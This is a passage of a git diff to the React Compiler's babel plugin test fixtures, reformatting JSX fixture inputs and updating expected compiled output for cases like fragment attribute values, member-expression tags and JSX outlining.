+function Foo({value}) {
   return value;
 }
 
-function Bar({ children }) {
+function Bar({children}) {
   return <div>{children}</div>;
 }
 
-function Item({ item }) {
+function Item({item}) {
   return <div>{item.name}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [{ id: 1, name: "One!" }] }],
+  params: [{items: [{id: 1, name: 'One!'}]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.expect.md
index 9e28b3136c3c..8bc421a14b2a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.expect.md
@@ -3,29 +3,33 @@
 
 ```javascript
 // @flow
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component({items}) {
-    // Per the spec, <Foo value=<>{...}</> /> is valid.
-    // But many tools don't allow fragments as jsx attribute values,
-    // so we ensure not to emit them wrapped in an expression container
-    return items.length > 0
-        ? (
-            <Foo value={
-                <>{items.map(item => <Stringify key={item.id} item={item} />)}</>
-            }></Foo>
-        )
-        : null;
+  // Per the spec, <Foo value=<>{...}</> /> is valid.
+  // But many tools don't allow fragments as jsx attribute values,
+  // so we ensure not to emit them wrapped in an expression container
+  return items.length > 0 ? (
+    <Foo
+      value={
+        <>
+          {items.map(item => (
+            <Stringify key={item.id} item={item} />
+          ))}
+        </>
+      }></Foo>
+  ) : null;
 }
 
 function Foo({value}) {
-    return <div>{value}</div>;
+  return <div>{value}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-    fn: Component,
-    params: [{items: [{id: 1, name: 'One!'}]}],
+  fn: Component,
+  params: [{items: [{id: 1, name: 'One!'}]}],
 };
+
 ```
 
 ## Code
@@ -39,18 +43,7 @@ function Component(t0) {
   const { items } = t0;
   let t1;
   if ($[0] !== items) {
-    t1 =
-      items.length > 0 ? (
-        <Foo
-          value={
-            <>
-              {items.map((item) => (
-                <Stringify key={item.id} item={item} />
-              ))}
-            </>
-          }
-        />
-      ) : null;
+    t1 = items.length > 0 ? <Foo value={<>{items.map(_temp)}</>} /> : null;
     $[0] = items;
     $[1] = t1;
   } else {
@@ -58,6 +51,9 @@ function Component(t0) {
   }
   return t1;
 }
+function _temp(item) {
+  return <Stringify key={item.id} item={item} />;
+}
 
 function Foo(t0) {
   const $ = _c(2);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.js
index 1a332e3f30a9..5f2f68223223 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-fragment-value.flow.js
@@ -1,24 +1,27 @@
 // @flow
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component({items}) {
-    // Per the spec, <Foo value=<>{...}</> /> is valid.
-    // But many tools don't allow fragments as jsx attribute values,
-    // so we ensure not to emit them wrapped in an expression container
-    return items.length > 0
-        ? (
-            <Foo value={
-                <>{items.map(item => <Stringify key={item.id} item={item} />)}</>
-            }></Foo>
-        )
-        : null;
+  // Per the spec, <Foo value=<>{...}</> /> is valid.
+  // But many tools don't allow fragments as jsx attribute values,
+  // so we ensure not to emit them wrapped in an expression container
+  return items.length > 0 ? (
+    <Foo
+      value={
+        <>
+          {items.map(item => (
+            <Stringify key={item.id} item={item} />
+          ))}
+        </>
+      }></Foo>
+  ) : null;
 }
 
 function Foo({value}) {
-    return <div>{value}</div>;
+  return <div>{value}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-    fn: Component,
-    params: [{items: [{id: 1, name: 'One!'}]}],
-};
\ No newline at end of file
+  fn: Component,
+  params: [{items: [{id: 1, name: 'One!'}]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.expect.md
new file mode 100644
index 000000000000..21a2f31ccdbb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+function Test() {
+  return (
+    <div>
+      If the string contains the string &#123;pageNumber&#125; it will be
+      replaced by the page number.
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Test() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <div>
+        {
+          "If the string contains the string {pageNumber} it will be replaced by the page number."
+        }
+      </div>
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>If the string contains the string {pageNumber} it will be replaced by the page number.</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.jsx
new file mode 100644
index 000000000000..1e93f5e0ad8f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-bracket-in-text.jsx
@@ -0,0 +1,13 @@
+function Test() {
+  return (
+    <div>
+      If the string contains the string &#123;pageNumber&#125; it will be
+      replaced by the page number.
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.expect.md
index 63365aea1cfa..03d661f4317c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.expect.md
@@ -13,7 +13,7 @@ export function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: "hello" }],
+  params: [{a: 'hello'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.js
index 6b644de5f9c7..0d9223957bfd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-empty-expression.js
@@ -9,5 +9,5 @@ export function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: "hello" }],
+  params: [{a: 'hello'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.expect.md
index 2cd10031e375..f92e820dc2b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.expect.md
@@ -5,7 +5,7 @@
 function Foo(props) {
   return (
     <>
-      Hello {props.greeting}{" "}
+      Hello {props.greeting}{' '}
       <div>
         <>Text</>
       </div>
@@ -15,8 +15,8 @@ function Foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.js
index dd4c9afca8ee..c8d531c763ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-fragment.js
@@ -1,7 +1,7 @@
 function Foo(props) {
   return (
     <>
-      Hello {props.greeting}{" "}
+      Hello {props.greeting}{' '}
       <div>
         <>Text</>
       </div>
@@ -11,6 +11,6 @@ function Foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.expect.md
index 735f469c8363..f309cdbac9a3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { jsx as _jsx } from "react/jsx-runtime";
-import { shallowCopy } from "shared-runtime";
+import {jsx as _jsx} from 'react/jsx-runtime';
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
-  const childprops = { style: { width: props.width } };
-  const element = _jsx("div", {
+  const childprops = {style: {width: props.width}};
+  const element = _jsx('div', {
     childprops: childprops,
     children: '"hello world"',
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.js
index 55dea91f6a87..b6b57f2874eb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-freeze.js
@@ -1,9 +1,9 @@
-import { jsx as _jsx } from "react/jsx-runtime";
-import { shallowCopy } from "shared-runtime";
+import {jsx as _jsx} from 'react/jsx-runtime';
+import {shallowCopy} from 'shared-runtime';
 
 function Component(props) {
-  const childprops = { style: { width: props.width } };
-  const element = _jsx("div", {
+  const childprops = {style: {width: props.width}};
+  const element = _jsx('div', {
     childprops: childprops,
     children: '"hello world"',
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.expect.md
index 5500cb8e067f..c8cf3f23991f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import * as SharedRuntime from "shared-runtime";
-function useFoo({ cond }) {
+import * as SharedRuntime from 'shared-runtime';
+function useFoo({cond}) {
   const MyLocal = SharedRuntime;
   if (cond) {
     return <MyLocal.Text value={4} />;
@@ -14,7 +14,7 @@ function useFoo({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
@@ -27,11 +27,11 @@ import * as SharedRuntime from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(1);
   const { cond } = t0;
-  const MyLocal = SharedRuntime;
+
   if (cond) {
     let t1;
     if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = <MyLocal.Text value={4} />;
+      t1 = <SharedRuntime.Text value={4} />;
       $[0] = t1;
     } else {
       t1 = $[0];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.js
index bf74af2becab..44aa0325e882 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag-conditional.js
@@ -1,5 +1,5 @@
-import * as SharedRuntime from "shared-runtime";
-function useFoo({ cond }) {
+import * as SharedRuntime from 'shared-runtime';
+function useFoo({cond}) {
   const MyLocal = SharedRuntime;
   if (cond) {
     return <MyLocal.Text value={4} />;
@@ -10,5 +10,5 @@ function useFoo({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.expect.md
index 51a6772f7f73..f24e7a754dbe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import * as SharedRuntime from "shared-runtime";
+import * as SharedRuntime from 'shared-runtime';
 function useFoo() {
   const MyLocal = SharedRuntime;
   return <MyLocal.Text value={4} />;
@@ -22,10 +22,9 @@ import { c as _c } from "react/compiler-runtime";
 import * as SharedRuntime from "shared-runtime";
 function useFoo() {
   const $ = _c(1);
-  const MyLocal = SharedRuntime;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = <MyLocal.Text value={4} />;
+    t0 = <SharedRuntime.Text value={4} />;
     $[0] = t0;
   } else {
     t0 = $[0];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.js
index 98a62e29e79a..858aba98f0aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-memberexpr-tag.js
@@ -1,4 +1,4 @@
-import * as SharedRuntime from "shared-runtime";
+import * as SharedRuntime from 'shared-runtime';
 function useFoo() {
   const MyLocal = SharedRuntime;
   return <MyLocal.Text value={4} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.expect.md
index 7a1e546df288..a7d27bc38193 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 function useFoo() {
   const MyLocal = Stringify;
   const callback = () => {
@@ -25,10 +25,10 @@ import { c as _c } from "react/compiler-runtime";
 import { Stringify } from "shared-runtime";
 function useFoo() {
   const $ = _c(1);
+
+  const callback = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const callback = () => <Stringify value={4} />;
-
     t0 = callback();
     $[0] = t0;
   } else {
@@ -36,6 +36,9 @@ function useFoo() {
   }
   return t0;
 }
+function _temp() {
+  return <Stringify value={4} />;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.js
index 504b4f6cea0d..c67e5d9c0e8b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-local-tag-in-lambda.js
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 function useFoo() {
   const MyLocal = Stringify;
   const callback = () => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.expect.md
new file mode 100644
index 000000000000..31aa7c77a1ea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+import * as SharedRuntime from 'shared-runtime';
+import {invoke} from 'shared-runtime';
+function useComponentFactory({name}) {
+  const localVar = SharedRuntime;
+  const cb = () => <localVar.Stringify>hello world {name}</localVar.Stringify>;
+  return invoke(cb);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useComponentFactory,
+  params: [{name: 'sathya'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import * as SharedRuntime from "shared-runtime";
+import { invoke } from "shared-runtime";
+function useComponentFactory(t0) {
+  const $ = _c(2);
+  const { name } = t0;
+  let t1;
+  if ($[0] !== name) {
+    const cb = () => (
+      <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>
+    );
+    t1 = invoke(cb);
+    $[0] = name;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useComponentFactory,
+  params: [{ name: "sathya" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":["hello world ","sathya"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.jsx
new file mode 100644
index 000000000000..534490d5d4ef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr-in-lambda.jsx
@@ -0,0 +1,12 @@
+import * as SharedRuntime from 'shared-runtime';
+import {invoke} from 'shared-runtime';
+function useComponentFactory({name}) {
+  const localVar = SharedRuntime;
+  const cb = () => <localVar.Stringify>hello world {name}</localVar.Stringify>;
+  return invoke(cb);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useComponentFactory,
+  params: [{name: 'sathya'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.expect.md
new file mode 100644
index 000000000000..5778bf599f88
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+import * as SharedRuntime from 'shared-runtime';
+function Component({name}) {
+  const localVar = SharedRuntime;
+  return <localVar.Stringify>hello world {name}</localVar.Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'sathya'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import * as SharedRuntime from "shared-runtime";
+function Component(t0) {
+  const $ = _c(2);
+  const { name } = t0;
+  let t1;
+  if ($[0] !== name) {
+    t1 = <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;
+    $[0] = name;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ name: "sathya" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":["hello world ","sathya"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.jsx
new file mode 100644
index 000000000000..d55037fca039
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-localvar-memberexpr.jsx
@@ -0,0 +1,10 @@
+import * as SharedRuntime from 'shared-runtime';
+function Component({name}) {
+  const localVar = SharedRuntime;
+  return <localVar.Stringify>hello world {name}</localVar.Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'sathya'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.expect.md
new file mode 100644
index 000000000000..f5f7b3727e99
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+import * as SharedRuntime from 'shared-runtime';
+function Component({name}) {
+  return <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'sathya'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import * as SharedRuntime from "shared-runtime";
+function Component(t0) {
+  const $ = _c(2);
+  const { name } = t0;
+  let t1;
+  if ($[0] !== name) {
+    t1 = <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;
+    $[0] = name;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ name: "sathya" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":["hello world ","sathya"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.jsx
new file mode 100644
index 000000000000..992cbecebe38
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-lowercase-memberexpr.jsx
@@ -0,0 +1,9 @@
+import * as SharedRuntime from 'shared-runtime';
+function Component({name}) {
+  return <SharedRuntime.Stringify>hello world {name}</SharedRuntime.Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{name: 'sathya'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.expect.md
index a5dd678d305d..e5ead2479dd4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import * as SharedRuntime from "shared-runtime";
+import * as SharedRuntime from 'shared-runtime';
 function useFoo() {
   const MyLocal = SharedRuntime;
   const callback = () => {
@@ -25,11 +25,10 @@ import { c as _c } from "react/compiler-runtime";
 import * as SharedRuntime from "shared-runtime";
 function useFoo() {
   const $ = _c(1);
-  const MyLocal = SharedRuntime;
+
+  const callback = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const callback = () => <MyLocal.Text value={4} />;
-
     t0 = callback();
     $[0] = t0;
   } else {
@@ -37,6 +36,9 @@ function useFoo() {
   }
   return t0;
 }
+function _temp() {
+  return <SharedRuntime.Text value={4} />;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.js
index 806b684745f4..b8d1be8d2e8a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-memberexpr-tag-in-lambda.js
@@ -1,4 +1,4 @@
-import * as SharedRuntime from "shared-runtime";
+import * as SharedRuntime from 'shared-runtime';
 function useFoo() {
   const MyLocal = SharedRuntime;
   const callback = () => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.expect.md
index 27d800da7f03..d587ed1f5bcb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.expect.md
@@ -8,8 +8,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.js
index 833b94f1ac09..825c5a7b90c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-namespaced-name.js
@@ -4,6 +4,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.expect.md
new file mode 100644
index 000000000000..108c6725f7e8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.expect.md
@@ -0,0 +1,144 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return arr.map(i => {
+    <>
+      {arr.map((i, id) => {
+        let child = (
+          <Bar x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+
+        let jsx = <div>{child}</div>;
+        return jsx;
+      })}
+    </>;
+  });
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return <>{i}</>;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(3);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    t1 = arr.map((i) => {
+      arr.map((i_0, id) => {
+        const T0 = _temp;
+        const child = <T0 i={i_0} x={x} />;
+
+        const jsx = <div>{child}</div>;
+        return jsx;
+      });
+    });
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+function _temp(t0) {
+  const $ = _c(5);
+  const { i: i, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1 || $[3] !== x) {
+    t2 = <Bar x={x}>{t1}</Bar>;
+    $[2] = t1;
+    $[3] = x;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+function Bar(t0) {
